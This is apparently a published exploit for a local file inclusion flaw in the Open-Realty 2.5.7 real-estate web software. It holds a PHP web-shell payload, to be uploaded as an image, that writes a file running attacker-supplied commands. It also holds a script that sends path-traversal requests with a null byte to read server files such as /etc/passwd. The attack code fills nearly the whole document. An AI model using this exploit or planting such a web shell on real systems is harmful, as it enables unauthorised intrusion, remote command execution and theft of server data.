Open-Realty 2.5.7 – Local File Disclosure

<?php

* Exploit Title:

* Date: 2010-08-18

* Author: Nikola Petrov

* Vendor: http://open-realty.org/

* Version: 2.5.7

vulnerable: Open-Realty 2.5.7

LFI: /index.php

upload image with: <?php system("echo \"<?php if(isset(\$_GET[\"cmd\"])) system(\$_GET[\"cmd\"]); ?>\" > sh.php"); ?>

include the image and sh.php will be generated.

proceed with sh.php

MAGIC_QUOTES must be 'off' and %00 must not be replaced with \0.

print "\n\n#########################################################################\n";

print "#LFI discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n";

print "#Date: 05.09.2009\n";

print "#########################################################################\n\n";

if($argc < 5) {

print "usage: $argv[0] host port path file [debug: 1/0]\n";

print "example: $argv[0] localhost 80 / ../../../../../../../../../../../../etc/passwd\n\n\n";

exit();

}

$Host = $argv[1];

$Port = $argv[2];

$Path = $argv[3];

$File = $argv[4];

function HttpSend($aHost, $aPort, $aPacket) {

$Response = "";

if(!$Socket = fsockopen($aHost, $aPort)) {

print "Error connecting to $aHost:$aPort\n\n";

exit();

}

fputs($Socket, $aPacket);

while(!feof($Socket)) $Response .= fread($Socket, 1024);

fclose($Socket);

return $Response;

}

$VulnRequest = "select_users_lang=". $File . "%00";

$Packet= "POST {$Path} HTTP/1.1\r\n";

$Packet .= "Host: {$Host}\r\n";

$Packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$Packet .= "Content-Length: " . strlen($VulnRequest) . "\r\n\r\n";

$Packet .= "$VulnRequest\n";

if($argv[5] == 1) print $Packet;

print HttpSend($Host, $Port, $Packet);